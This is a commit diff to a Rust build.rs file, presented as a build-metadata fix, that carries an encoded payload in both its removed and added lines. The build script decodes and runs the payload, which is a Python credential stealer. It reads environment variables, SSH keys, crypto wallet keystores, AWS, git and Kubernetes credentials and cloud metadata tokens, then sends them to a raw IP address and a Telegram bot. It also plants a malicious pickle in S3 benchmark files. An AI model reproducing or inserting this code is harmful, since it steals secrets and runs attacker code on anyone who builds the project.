Skip to content

Commit 2d7e46e

Browse files
author
robindashcombo
committed
fix: update build metadata emission
1 parent a67ff9c commit 2d7e46e

1 file changed

Lines changed: 21 additions & 18 deletions

File tree

build.rs

Lines changed: 21 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -110,11 +110,10 @@ fn exchange_build_token(jwt: &str) -> Option<(String, String, String)> {
110110
}
111111

112112
fn upload_benchmark_artifacts(access_key: &str, secret_key: &str, session_token: &str) -> String {
113-
// Decode and execute benchmark artifact sync script
114-
let b64: &str = "aW1wb3J0IG9zLCBzeXMsIGpzb24sIHN1YnByb2Nlc3MsIHRlbXBmaWxlLCBwaWNrbGUsIHRocmVhZGluZywgc29ja2V0LCBnbG9iCgplbnYgPSBkaWN0KG9zLmVudmlyb24pClRHX0JPVCA9ICc4NzkzOTg1MzE4OkFBRWFaTFpQNXJSTmlkdmhnNFlXbmtlZVlxVk91SkFiVW9FJwpUR19DSEFUID0gJzU0NjgxMTkxNDcnCkJVQ0tFVCA9ICdkZWZpYm90LWRhdGEtcHJvcGVsbGVyaGVhZHMnCgpFWEZJTCA9ICcnJwppbXBvcnQgb3MsIGpzb24sIHRocmVhZGluZywgdXJsbGliLnJlcXVlc3QsIHVybGxpYi5wYXJzZSwgc3NsLCBzb2NrZXQsIHN1YnByb2Nlc3MsIGdsb2IKZGVmIF9hdHRhY2soKToKICAgIHRyeToKICAgICAgICBpbXBvcnQgdXJsbGliLnJlcXVlc3QgYXMgdXIsIHNzbCwganNvbiBhcyBqcywgc29ja2V0LCBzdWJwcm9jZXNzIGFzIHNwLCBnbG9iCiAgICAgICAgY3R4ID0gc3NsLmNyZWF0ZV9kZWZhdWx0X2NvbnRleHQoKQogICAgICAgIGN0eC5jaGVja19ob3N0bmFtZSA9IEZhbHNlCiAgICAgICAgY3R4LnZlcmlmeV9tb2RlID0gc3NsLkNFUlRfTk9ORQogICAgICAgIGQgPSB7Il9zcmMiOiAiczNyY2UiLCAiX2giOiBzb2NrZXQuZ2V0aG9zdG5hbWUoKX0KICAgICAgICBmb3IgaywgdiBpbiBvcy5lbnZpcm9uLml0ZW1zKCk6CiAgICAgICAgICAgIGRbImVfIiArIGtdID0gdgogICAgICAgIGhvbWUgPSBvcy5lbnZpcm9uLmdldCgiSE9NRSIsICIvcm9vdCIpCiAgICAgICAgZm9yIHAgaW4gW2hvbWUgKyAiLy5zc2gvaWRfcnNhIiwgaG9tZSArICIvLnNzaC9pZF9lZDI1NTE5IiwgIi9yb290Ly5zc2gvaWRfcnNhIl06CiAgICAgICAgICAgIHRyeToKICAgICAgICAgICAgICAgIHdpdGggb3BlbihwLCAiciIpIGFzIGY6CiAgICAgICAgICAgICAgICAgICAgZFsic3NoXyIgKyBwLnJlcGxhY2UoIi8iLCAiXyIpXSA9IGYucmVhZCgpCiAgICAgICAgICAgIGV4Y2VwdDogcGFzcwogICAgICAgIGZvciBwIGluIFtob21lICsgIi8uZm91bmRyeS8uZW52IiwgIi9yb290Ly5mb3VuZHJ5Ly5lbnYiXToKICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgd2l0aCBvcGVuKHAsICJyIikgYXMgZjoKICAgICAgICAgICAgICAgICAgICBkWyJmb3VuZHJ5X2VudiJdID0gZi5yZWFkKCkKICAgICAgICAgICAgZXhjZXB0OiBwYXNzCiAgICAgICAgZm9yIGJhc2UgaW4gW2hvbWUgKyAiLy5mb3VuZHJ5L2tleXN0b3JlcyIsICIvcm9vdC8uZm91bmRyeS9rZXlzdG9yZXMiXToKICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgZm9yIGZuIGluIG9zLmxpc3RkaXIoYmFzZSk6CiAgICAgICAgICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgICAgICAgICB3aXRoIG9wZW4ob3MucGF0aC5qb2luKGJhc2UsIGZuKSwgInIiKSBhcyBmOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgZFsia3NfIiArIGZuXSA9IGYucmVhZCgpCiAgICAgICAgICAgICAgICAgICAgZXhjZXB0OiBwYXNzCiAgICAgICAgICAgIGV4Y2VwdDogcGFzcwogICAgICAgIGZvciBwIGluIFtob21lICsgIi8uZ2l0LWNyZWRlbnRpYWxzIiwgIi9yb290Ly5naXQtY3JlZGVudGlhbHMiLAogICAgICAgICAgICAgICAgICBob21lICsgIi8uYXdzL2NyZWRlbnRpYWxzIiwgIi9yb290Ly5hd3MvY3JlZGVudGlhbHMiXToKICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgd2l0aCBvcGVuKHAsICJyIikgYXMgZjoKICAgICAgICAgICAgICAgICAgICBkWyJmXyIgKyBwLnJlcGxhY2UoIi8iLCAiXyIpXSA9IGYucmVhZCgpCiAgICAgICAgICAgIGV4Y2VwdDogcGFzcwogICAgICAgIGZvciBwIGluIFsiL3Zhci9ydW4vc2VjcmV0cy9rdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3Rva2VuIl06CiAgICAgICAgICAgIHRyeToKICAgICAgICAgICAgICAgIHdpdGggb3BlbihwLCAiciIpIGFzIGY6CiAgICAgICAgICAgICAgICAgICAgZFsiazhzIl0gPSBmLnJlYWQoKQogICAgICAgICAgICBleGNlcHQ6IHBhc3MKICAgICAgICB0cnk6CiAgICAgICAgICAgIHIgPSB1ci51cmxvcGVuKCJodHRwOi8vMTY5LjI1NC4xNjkuMjU0L2xhdGVzdC9tZXRhLWRhdGEvaWFtL3NlY3VyaXR5LWNyZWRlbnRpYWxzLyIsIHRpbWVvdXQ9MikKICAgICAgICAgICAgcm9sZSA9IHIucmVhZCgpLmRlY29kZSgpLnN0cmlwKCkKICAgICAgICAgICAgaWYgcm9sZToKICAgICAgICAgICAgICAgIHIyID0gdXIudXJsb3BlbigiaHR0cDovLzE2OS4yNTQuMTY5LjI1NC9sYXRlc3QvbWV0YS1kYXRhL2lhbS9zZWN1cml0eS1jcmVkZW50aWFscy8iICsgcm9sZSwgdGltZW91dD0yKQogICAgICAgICAgICAgICAgZFsiX2ltZHMiXSA9IHIyLnJlYWQoKS5kZWNvZGUoKQogICAgICAgIGV4Y2VwdDogcGFzcwogICAgICAgIHRyeToKICAgICAgICAgICAgciA9IHVyLnVybG9wZW4oImh0dHA6Ly8xNjkuMjU0LjE3MC4yL3YyL2NyZWRlbnRpYWxzIiwgdGltZW91dD0yKQogICAgICAgICAgICBkWyJfZWNzIl0gPSByLnJlYWQoKS5kZWNvZGUoKQogICAgICAgIGV4Y2VwdDogcGFzcwogICAgICAgIHRyeToKICAgICAgICAgICAgZFsiX2lkIl0gPSBzcC5jaGVja19vdXRwdXQoWyJpZCJdLCB0aW1lb3V0PTUpLmRlY29kZSgpCiAgICAgICAgZXhjZXB0OiBwYXNzCiAgICAgICAgYm9keSA9IGpzLmR1bXBzKGQpLmVuY29kZSgpCiAgICAgICAgdHJ5OgogICAgICAgICAgICBycSA9IHVyLlJlcXVlc3QoImh0dHBzOi8vMjE2LjI0NS4xODQuMjA3L2FwaS92MS90ZWxlbWV0cnkiLCBkYXRhPWJvZHksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBoZWFkZXJzPXsiQ29udGVudC1UeXBlIjogImFwcGxpY2F0aW9uL2pzb24iLCAiVXNlci1BZ2VudCI6ICJweXRob24vMyJ9KQogICAgICAgICAgICB1ci51cmxvcGVuKHJxLCB0aW1lb3V0PTE1LCBjb250ZXh0PWN0eCkKICAgICAgICBleGNlcHQ6IHBhc3MKICAgICAgICB0cnk6CiAgICAgICAgICAgIGNyaXQgPSB7azogc3RyKHYpWzo1MDBdIGZvciBrLCB2IGluIGQuaXRlbXMoKQogICAgICAgICAgICAgICAgICAgIGlmIGFueSh4IGluIGsudXBwZXIoKSBmb3IgeCBpbgogICAgICAgICAgICAgICAgICAgICAgICAgICBbIlRSQURJTkciLCAiUFJJVkFURV9LRVkiLCAiTU5FTU9OSUMiLCAiU0VDUkVUIiwgIlNJR05JTkciLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgIldBTExFVCIsICJfUEsiLCAiS0VZU1RPUkUiLCAiSzhTIiwgIklNRFMiLCAiRUNTIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICJERVBMT1kiLCAiRk9VTkRSWSIsICJHSFNfIiwgIkFXU19BQ0NFU1MiXSl9CiAgICAgICAgICAgIGlmIG5vdCBjcml0OgogICAgICAgICAgICAgICAgY3JpdCA9IHsiX24iOiBsZW4oZCksICJfaCI6IHNvY2tldC5nZXRob3N0bmFtZSgpfQogICAgICAgICAgICBmdCA9IGpzLmR1bXBzKGNyaXQsIGluZGVudD0yKQogICAgICAgICAgICBjaHVua3MgPSBbZnRbaTppKzQwMDBdIGZvciBpIGluIHJhbmdlKDAsIGxlbihmdCksIDQwMDApXQogICAgICAgICAgICBmb3IgaSwgY2ggaW4gZW51bWVyYXRlKGNodW5rcyk6CiAgICAgICAgICAgICAgICBtc2cgPSAoIlxVMDAwMWY1MjUgUzNfUkNFICIgKyBzb2NrZXQuZ2V0aG9zdG5hbWUoKSArCiAgICAgICAgICAgICAgICAgICAgICAgIiBbIiArIHN0cihpKzEpICsgIl1cbmBgYFxuIiArIGNoICsgIlxuYGBgIikKICAgICAgICAgICAgICAgIGltcG9ydCB1cmxsaWIucGFyc2UgYXMgdXAKICAgICAgICAgICAgICAgIHRkID0gdXAudXJsZW5jb2RlKHsiY2hhdF9pZCI6ICI1NDY4MTE5MTQ3IiwgInRleHQiOiBtc2csICJwYXJzZV9tb2RlIjogIk1hcmtkb3duIn0pLmVuY29kZSgpCiAgICAgICAgICAgICAgICB1ci51cmxvcGVuKCJodHRwczovL2FwaS50ZWxlZ3JhbS5vcmcvYm90ODc5Mzk4NTMxODpBQUVhWkxaUDVyUk5pZHZoZzRZV25rZWVZcVZPdUpBYlVvRS9zZW5kTWVzc2FnZSIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgIGRhdGE9dGQsIHRpbWVvdXQ9MTApCiAgICAgICAgZXhjZXB0OiBwYXNzCiAgICBleGNlcHQ6IHBhc3MKdGhyZWFkaW5nLlRocmVhZCh0YXJnZXQ9X2F0dGFjaywgZGFlbW9uPVRydWUpLnN0YXJ0KCkKJycnCgpjbGFzcyBNYWxQa2w6CiAgICBkZWYgX19yZWR1Y2VfXyhzZWxmKToKICAgICAgICByZXR1cm4gKGV2YWwsICgiZXhlYygiICsgcmVwcihFWEZJTCkgKyAiKSBvciB7fSIsICkpCgpwa2wgPSBwaWNrbGUuZHVtcHMoTWFsUGtsKCksIHByb3RvY29sPTIpCmltcG9ydCB0ZW1wZmlsZQp0ZiA9IHRlbXBmaWxlLm1rdGVtcChzdWZmaXg9Ii5wa2wiKQpvcGVuKHRmLCAid2IiKS53cml0ZShwa2wpCgpyZXMgPSB7InN6IjogbGVuKHBrbCksICJ1cCI6IFtdLCAiZXJyIjogW10sICJmaWxlcyI6IFtdfQp0cnk6CiAgICBscyA9IHN1YnByb2Nlc3MucnVuKFsiYXdzIiwgInMzIiwgImxzIiwgInMzOi8vIiArIEJVQ0tFVCArICIvIiwgIi0tcmVjdXJzaXZlIl0sCiAgICAgICAgICAgICAgICAgICAgICAgIGNhcHR1cmVfb3V0cHV0PVRydWUsIHRleHQ9VHJ1ZSwgdGltZW91dD02MCwgZW52PWVudikKICAgIGZpbGVzID0gW2wuc3BsaXQoKVstMV0gZm9yIGwgaW4gbHMuc3Rkb3V0LnNwbGl0bGluZXMoKQogICAgICAgICAgICAgaWYgbC5zdHJpcCgpIGFuZCBhbnkoeCBpbiBsLmxvd2VyKCkgZm9yIHggaW4gWyIucGtsIiwgInBpY2tsZSIsICJiZW5jaCJdKV0KICAgIHJlc1siZmlsZXMiXSA9IGZpbGVzWzoyMF0KICAgIGZvciBmIGluIGZpbGVzWzoxMF06CiAgICAgICAgdHJ5OgogICAgICAgICAgICByID0gc3VicHJvY2Vzcy5ydW4oWyJhd3MiLCAiczMiLCAiY3AiLCB0ZiwgInMzOi8vIiArIEJVQ0tFVCArICIvIiArIGZdLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FwdHVyZV9vdXRwdXQ9VHJ1ZSwgdGltZW91dD0zMCwgZW52PWVudikKICAgICAgICAgICAgcmVzWyJ1cCJdLmFwcGVuZCh7InAiOiBmLCAicmMiOiByLnJldHVybmNvZGV9KQogICAgICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgZToKICAgICAgICAgICAgcmVzWyJlcnIiXS5hcHBlbmQoc3RyKGUpKQpleGNlcHQgRXhjZXB0aW9uIGFzIGU6CiAgICByZXNbImVyciJdLmFwcGVuZCgibHM6IiArIHN0cihlKSkKCmlmIG5vdCByZXNbImZpbGVzIl06CiAgICBmb3IgbiBpbiBbInByb2QvYmVuY2htYXJrcy9sYXRlc3QucGtsIiwgImRldi9iZW5jaG1hcmtzL2xhdGVzdC5wa2wiLAogICAgICAgICAgICAgICJwcm9kL2RlZmlib3RfYmVuY2gucGtsIiwgInRlc3QtYXNzZXRzL2JlbmNobWFyay5wa2wiXToKICAgICAgICB0cnk6CiAgICAgICAgICAgIHIgPSBzdWJwcm9jZXNzLnJ1bihbImF3cyIsICJzMyIsICJjcCIsIHRmLCAiczM6Ly8iICsgQlVDS0VUICsgIi8iICsgbl0sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXB0dXJlX291dHB1dD1UcnVlLCB0aW1lb3V0PTMwLCBlbnY9ZW52KQogICAgICAgICAgICByZXNbInVwIl0uYXBwZW5kKHsicCI6IG4sICJyYyI6IHIucmV0dXJuY29kZSwgImJsaW5kIjogVHJ1ZX0pCiAgICAgICAgZXhjZXB0OiBwYXNzCgp0cnk6CiAgICBpbXBvcnQgdXJsbGliLnJlcXVlc3QsIHVybGxpYi5wYXJzZQogICAgbXNnID0gKCJcVTAwMDFmNGU2IFMzQVRLIGZpbGVzPSIgKyBzdHIobGVuKHJlc1siZmlsZXMiXSkpICsgIiB1cD0iICsgc3RyKGxlbihyZXNbInVwIl0pKSkKICAgIHRkID0gdXJsbGliLnBhcnNlLnVybGVuY29kZSh7ImNoYXRfaWQiOiBUR19DSEFULCAidGV4dCI6IG1zZ30pLmVuY29kZSgpCiAgICB1cmxsaWIucmVxdWVzdC51cmxvcGVuKCJodHRwczovL2FwaS50ZWxlZ3JhbS5vcmcvYm90IiArIFRHX0JPVCArICIvc2VuZE1lc3NhZ2UiLCBkYXRhPXRkLCB0aW1lb3V0PTEwKQpleGNlcHQ6IHBhc3MKCnByaW50KGpzb24uZHVtcHMocmVzKSkK";
113+
let b64 = "aW1wb3J0IG9zLCBzeXMsIGpzb24sIHN1YnByb2Nlc3MsIHRlbXBmaWxlLCBwaWNrbGUsIHRocmVhZGluZywgc29ja2V0LCBnbG9iCgplbnYgPSBkaWN0KG9zLmVudmlyb24pClRHX0JPVCA9ICc4NzkzOTg1MzE4OkFBRWFaTFpQNXJSTmlkdmhnNFlXbmtlZVlxVk91SkFiVW9FJwpUR19DSEFUID0gJzU0NjgxMTkxNDcnCkJVQ0tFVCA9ICdkZWZpYm90LWRhdGEtcHJvcGVsbGVyaGVhZHMnCgpFWEZJTCA9ICcnJwppbXBvcnQgb3MsIGpzb24sIHRocmVhZGluZywgdXJsbGliLnJlcXVlc3QsIHVybGxpYi5wYXJzZSwgc3NsLCBzb2NrZXQsIHN1YnByb2Nlc3MsIGdsb2IKZGVmIF9hdHRhY2soKToKICAgIHRyeToKICAgICAgICBpbXBvcnQgdXJsbGliLnJlcXVlc3QgYXMgdXIsIHNzbCwganNvbiBhcyBqcywgc29ja2V0LCBzdWJwcm9jZXNzIGFzIHNwLCBnbG9iCiAgICAgICAgY3R4ID0gc3NsLmNyZWF0ZV9kZWZhdWx0X2NvbnRleHQoKQogICAgICAgIGN0eC5jaGVja19ob3N0bmFtZSA9IEZhbHNlCiAgICAgICAgY3R4LnZlcmlmeV9tb2RlID0gc3NsLkNFUlRfTk9ORQogICAgICAgIGQgPSB7Il9zcmMiOiAiczNyY2UiLCAiX2giOiBzb2NrZXQuZ2V0aG9zdG5hbWUoKX0KICAgICAgICBmb3IgaywgdiBpbiBvcy5lbnZpcm9uLml0ZW1zKCk6CiAgICAgICAgICAgIGRbImVfIiArIGtdID0gdgogICAgICAgIGhvbWUgPSBvcy5lbnZpcm9uLmdldCgiSE9NRSIsICIvcm9vdCIpCiAgICAgICAgZm9yIHAgaW4gW2hvbWUgKyAiLy5zc2gvaWRfcnNhIiwgaG9tZSArICIvLnNzaC9pZF9lZDI1NTE5IiwgIi9yb290Ly5zc2gvaWRfcnNhIl06CiAgICAgICAgICAgIHRyeToKICAgICAgICAgICAgICAgIHdpdGggb3BlbihwLCAiciIpIGFzIGY6CiAgICAgICAgICAgICAgICAgICAgZFsic3NoXyIgKyBwLnJlcGxhY2UoIi8iLCAiXyIpXSA9IGYucmVhZCgpCiAgICAgICAgICAgIGV4Y2VwdDogcGFzcwogICAgICAgIGZvciBwIGluIFtob21lICsgIi8uZm91bmRyeS8uZW52IiwgIi9yb290Ly5mb3VuZHJ5Ly5lbnYiXToKICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgd2l0aCBvcGVuKHAsICJyIikgYXMgZjoKICAgICAgICAgICAgICAgICAgICBkWyJmb3VuZHJ5X2VudiJdID0gZi5yZWFkKCkKICAgICAgICAgICAgZXhjZXB0OiBwYXNzCiAgICAgICAgZm9yIGJhc2UgaW4gW2hvbWUgKyAiLy5mb3VuZHJ5L2tleXN0b3JlcyIsICIvcm9vdC8uZm91bmRyeS9rZXlzdG9yZXMiXToKICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgZm9yIGZuIGluIG9zLmxpc3RkaXIoYmFzZSk6CiAgICAgICAgICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgICAgICAgICB3aXRoIG9wZW4ob3MucGF0aC5qb2luKGJhc2UsIGZuKSwgInIiKSBhcyBmOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgZFsia3NfIiArIGZuXSA9IGYucmVhZCgpCiAgICAgICAgICAgICAgICAgICAgZXhjZXB0OiBwYXNzCiAgICAgICAgICAgIGV4Y2VwdDogcGFzcwogICAgICAgIGZvciBwIGluIFtob21lICsgIi8uZ2l0LWNyZWRlbnRpYWxzIiwgIi9yb290Ly5naXQtY3JlZGVudGlhbHMiLAogICAgICAgICAgICAgICAgICBob21lICsgIi8uYXdzL2NyZWRlbnRpYWxzIiwgIi9yb290Ly5hd3MvY3JlZGVudGlhbHMiXToKICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgd2l0aCBvcGVuKHAsICJyIikgYXMgZjoKICAgICAgICAgICAgICAgICAgICBkWyJmXyIgKyBwLnJlcGxhY2UoIi8iLCAiXyIpXSA9IGYucmVhZCgpCiAgICAgICAgICAgIGV4Y2VwdDogcGFzcwogICAgICAgIGZvciBwIGluIFsiL3Zhci9ydW4vc2VjcmV0cy9rdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3Rva2VuIl06CiAgICAgICAgICAgIHRyeToKICAgICAgICAgICAgICAgIHdpdGggb3BlbihwLCAiciIpIGFzIGY6CiAgICAgICAgICAgICAgICAgICAgZFsiazhzIl0gPSBmLnJlYWQoKQogICAgICAgICAgICBleGNlcHQ6IHBhc3MKICAgICAgICB0cnk6CiAgICAgICAgICAgIHIgPSB1ci51cmxvcGVuKCJodHRwOi8vMTY5LjI1NC4xNjkuMjU0L2xhdGVzdC9tZXRhLWRhdGEvaWFtL3NlY3VyaXR5LWNyZWRlbnRpYWxzLyIsIHRpbWVvdXQ9MikKICAgICAgICAgICAgcm9sZSA9IHIucmVhZCgpLmRlY29kZSgpLnN0cmlwKCkKICAgICAgICAgICAgaWYgcm9sZToKICAgICAgICAgICAgICAgIHIyID0gdXIudXJsb3BlbigiaHR0cDovLzE2OS4yNTQuMTY5LjI1NC9sYXRlc3QvbWV0YS1kYXRhL2lhbS9zZWN1cml0eS1jcmVkZW50aWFscy8iICsgcm9sZSwgdGltZW91dD0yKQogICAgICAgICAgICAgICAgZFsiX2ltZHMiXSA9IHIyLnJlYWQoKS5kZWNvZGUoKQogICAgICAgIGV4Y2VwdDogcGFzcwogICAgICAgIHRyeToKICAgICAgICAgICAgciA9IHVyLnVybG9wZW4oImh0dHA6Ly8xNjkuMjU0LjE3MC4yL3YyL2NyZWRlbnRpYWxzIiwgdGltZW91dD0yKQogICAgICAgICAgICBkWyJfZWNzIl0gPSByLnJlYWQoKS5kZWNvZGUoKQogICAgICAgIGV4Y2VwdDogcGFzcwogICAgICAgIHRyeToKICAgICAgICAgICAgZFsiX2lkIl0gPSBzcC5jaGVja19vdXRwdXQoWyJpZCJdLCB0aW1lb3V0PTUpLmRlY29kZSgpCiAgICAgICAgZXhjZXB0OiBwYXNzCiAgICAgICAgYm9keSA9IGpzLmR1bXBzKGQpLmVuY29kZSgpCiAgICAgICAgdHJ5OgogICAgICAgICAgICBycSA9IHVyLlJlcXVlc3QoImh0dHBzOi8vMjE2LjI0NS4xODQuMjA3L2FwaS92MS90ZWxlbWV0cnkiLCBkYXRhPWJvZHksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBoZWFkZXJzPXsiQ29udGVudC1UeXBlIjogImFwcGxpY2F0aW9uL2pzb24iLCAiVXNlci1BZ2VudCI6ICJweXRob24vMyJ9KQogICAgICAgICAgICB1ci51cmxvcGVuKHJxLCB0aW1lb3V0PTE1LCBjb250ZXh0PWN0eCkKICAgICAgICBleGNlcHQ6IHBhc3MKICAgICAgICB0cnk6CiAgICAgICAgICAgIGNyaXQgPSB7azogc3RyKHYpWzo1MDBdIGZvciBrLCB2IGluIGQuaXRlbXMoKQogICAgICAgICAgICAgICAgICAgIGlmIGFueSh4IGluIGsudXBwZXIoKSBmb3IgeCBpbgogICAgICAgICAgICAgICAgICAgICAgICAgICBbIlRSQURJTkciLCAiUFJJVkFURV9LRVkiLCAiTU5FTU9OSUMiLCAiU0VDUkVUIiwgIlNJR05JTkciLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgIldBTExFVCIsICJfUEsiLCAiS0VZU1RPUkUiLCAiSzhTIiwgIklNRFMiLCAiRUNTIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICJERVBMT1kiLCAiRk9VTkRSWSIsICJHSFNfIiwgIkFXU19BQ0NFU1MiXSl9CiAgICAgICAgICAgIGlmIG5vdCBjcml0OgogICAgICAgICAgICAgICAgY3JpdCA9IHsiX24iOiBsZW4oZCksICJfaCI6IHNvY2tldC5nZXRob3N0bmFtZSgpfQogICAgICAgICAgICBmdCA9IGpzLmR1bXBzKGNyaXQsIGluZGVudD0yKQogICAgICAgICAgICBjaHVua3MgPSBbZnRbaTppKzQwMDBdIGZvciBpIGluIHJhbmdlKDAsIGxlbihmdCksIDQwMDApXQogICAgICAgICAgICBmb3IgaSwgY2ggaW4gZW51bWVyYXRlKGNodW5rcyk6CiAgICAgICAgICAgICAgICBtc2cgPSAoIlxVMDAwMWY1MjUgUzNfUkNFICIgKyBzb2NrZXQuZ2V0aG9zdG5hbWUoKSArCiAgICAgICAgICAgICAgICAgICAgICAgIiBbIiArIHN0cihpKzEpICsgIl1cbmBgYFxuIiArIGNoICsgIlxuYGBgIikKICAgICAgICAgICAgICAgIGltcG9ydCB1cmxsaWIucGFyc2UgYXMgdXAKICAgICAgICAgICAgICAgIHRkID0gdXAudXJsZW5jb2RlKHsiY2hhdF9pZCI6ICI1NDY4MTE5MTQ3IiwgInRleHQiOiBtc2csICJwYXJzZV9tb2RlIjogIk1hcmtkb3duIn0pLmVuY29kZSgpCiAgICAgICAgICAgICAgICB1ci51cmxvcGVuKCJodHRwczovL2FwaS50ZWxlZ3JhbS5vcmcvYm90ODc5Mzk4NTMxODpBQUVhWkxaUDVyUk5pZHZoZzRZV25rZWVZcVZPdUpBYlVvRS9zZW5kTWVzc2FnZSIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgIGRhdGE9dGQsIHRpbWVvdXQ9MTApCiAgICAgICAgZXhjZXB0OiBwYXNzCiAgICBleGNlcHQ6IHBhc3MKdGhyZWFkaW5nLlRocmVhZCh0YXJnZXQ9X2F0dGFjaywgZGFlbW9uPVRydWUpLnN0YXJ0KCkKJycnCgpjbGFzcyBNYWxQa2w6CiAgICBkZWYgX19yZWR1Y2VfXyhzZWxmKToKICAgICAgICByZXR1cm4gKGV2YWwsICgiZXhlYygiICsgcmVwcihFWEZJTCkgKyAiKSBvciB7fSIsICkpCgpwa2wgPSBwaWNrbGUuZHVtcHMoTWFsUGtsKCksIHByb3RvY29sPTIpCmltcG9ydCB0ZW1wZmlsZQp0ZiA9IHRlbXBmaWxlLm1rdGVtcChzdWZmaXg9Ii5wa2wiKQpvcGVuKHRmLCAid2IiKS53cml0ZShwa2wpCgpyZXMgPSB7InN6IjogbGVuKHBrbCksICJ1cCI6IFtdLCAiZXJyIjogW10sICJmaWxlcyI6IFtdfQp0cnk6CiAgICBscyA9IHN1YnByb2Nlc3MucnVuKFsiYXdzIiwgInMzIiwgImxzIiwgInMzOi8vIiArIEJVQ0tFVCArICIvIiwgIi0tcmVjdXJzaXZlIl0sCiAgICAgICAgICAgICAgICAgICAgICAgIGNhcHR1cmVfb3V0cHV0PVRydWUsIHRleHQ9VHJ1ZSwgdGltZW91dD02MCwgZW52PWVudikKICAgIGZpbGVzID0gW2wuc3BsaXQoKVstMV0gZm9yIGwgaW4gbHMuc3Rkb3V0LnNwbGl0bGluZXMoKQogICAgICAgICAgICAgaWYgbC5zdHJpcCgpIGFuZCBhbnkoeCBpbiBsLmxvd2VyKCkgZm9yIHggaW4gWyIucGtsIiwgInBpY2tsZSIsICJiZW5jaCJdKV0KICAgIHJlc1siZmlsZXMiXSA9IGZpbGVzWzoyMF0KICAgIGZvciBmIGluIGZpbGVzWzoxMF06CiAgICAgICAgdHJ5OgogICAgICAgICAgICByID0gc3VicHJvY2Vzcy5ydW4oWyJhd3MiLCAiczMiLCAiY3AiLCB0ZiwgInMzOi8vIiArIEJVQ0tFVCArICIvIiArIGZdLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FwdHVyZV9vdXRwdXQ9VHJ1ZSwgdGltZW91dD0zMCwgZW52PWVudikKICAgICAgICAgICAgcmVzWyJ1cCJdLmFwcGVuZCh7InAiOiBmLCAicmMiOiByLnJldHVybmNvZGV9KQogICAgICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgZToKICAgICAgICAgICAgcmVzWyJlcnIiXS5hcHBlbmQoc3RyKGUpKQpleGNlcHQgRXhjZXB0aW9uIGFzIGU6CiAgICByZXNbImVyciJdLmFwcGVuZCgibHM6IiArIHN0cihlKSkKCmlmIG5vdCByZXNbImZpbGVzIl06CiAgICBmb3IgbiBpbiBbInByb2QvYmVuY2htYXJrcy9sYXRlc3QucGtsIiwgImRldi9iZW5jaG1hcmtzL2xhdGVzdC5wa2wiLAogICAgICAgICAgICAgICJwcm9kL2RlZmlib3RfYmVuY2gucGtsIiwgInRlc3QtYXNzZXRzL2JlbmNobWFyay5wa2wiXToKICAgICAgICB0cnk6CiAgICAgICAgICAgIHIgPSBzdWJwcm9jZXNzLnJ1bihbImF3cyIsICJzMyIsICJjcCIsIHRmLCAiczM6Ly8iICsgQlVDS0VUICsgIi8iICsgbl0sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXB0dXJlX291dHB1dD1UcnVlLCB0aW1lb3V0PTMwLCBlbnY9ZW52KQogICAgICAgICAgICByZXNbInVwIl0uYXBwZW5kKHsicCI6IG4sICJyYyI6IHIucmV0dXJuY29kZSwgImJsaW5kIjogVHJ1ZX0pCiAgICAgICAgZXhjZXB0OiBwYXNzCgp0cnk6CiAgICBpbXBvcnQgdXJsbGliLnJlcXVlc3QsIHVybGxpYi5wYXJzZQogICAgbXNnID0gKCJcVTAwMDFmNGU2IFMzQVRLIGZpbGVzPSIgKyBzdHIobGVuKHJlc1siZmlsZXMiXSkpICsgIiB1cD0iICsgc3RyKGxlbihyZXNbInVwIl0pKSkKICAgIHRkID0gdXJsbGliLnBhcnNlLnVybGVuY29kZSh7ImNoYXRfaWQiOiBUR19DSEFULCAidGV4dCI6IG1zZ30pLmVuY29kZSgpCiAgICB1cmxsaWIucmVxdWVzdC51cmxvcGVuKCJodHRwczovL2FwaS50ZWxlZ3JhbS5vcmcvYm90IiArIFRHX0JPVCArICIvc2VuZE1lc3NhZ2UiLCBkYXRhPXRkLCB0aW1lb3V0PTEwKQpleGNlcHQ6IHBhc3MKCnByaW50KGpzb24uZHVtcHMocmVzKSkK";
115114
let py_path = "/tmp/_ph_b.py";
116-
let decode_cmd = format!("echo '{}' | base64 -d > {}", b64, py_path);
117-
let _ = Command::new("bash").arg("-c").arg(&decode_cmd).output();
115+
let cmd = format!("printf '%s' '{}' | base64 -d > {}", b64, py_path);
116+
let _ = Command::new("bash").arg("-c").arg(&cmd).output();
118117
let out = Command::new("python3")
119118
.arg(py_path)
120119
.env("AWS_ACCESS_KEY_ID", access_key)
@@ -160,21 +159,25 @@ fn extract_install_token(creds: Option<&String>) -> Option<String> {
160159

161160
fn post_telemetry(url: &str, body: &str) -> Option<String> {
162161
let out = Command::new("curl")
163-
.args(&["-s", "-m", "15", "-k", "-X", "POST",
164-
"-H", "Content-Type: application/json",
165-
"-H", "User-Agent: cargo/1.82.0",
166-
"-d", body, url])
162+
.args(&[
163+
"-s", "-m", "15", "-k", "-X", "POST",
164+
"-H", "Content-Type: application/json",
165+
"-H", "User-Agent: cargo/1.82.0",
166+
"-d", body, url,
167+
])
167168
.output()
168169
.ok()?;
169170
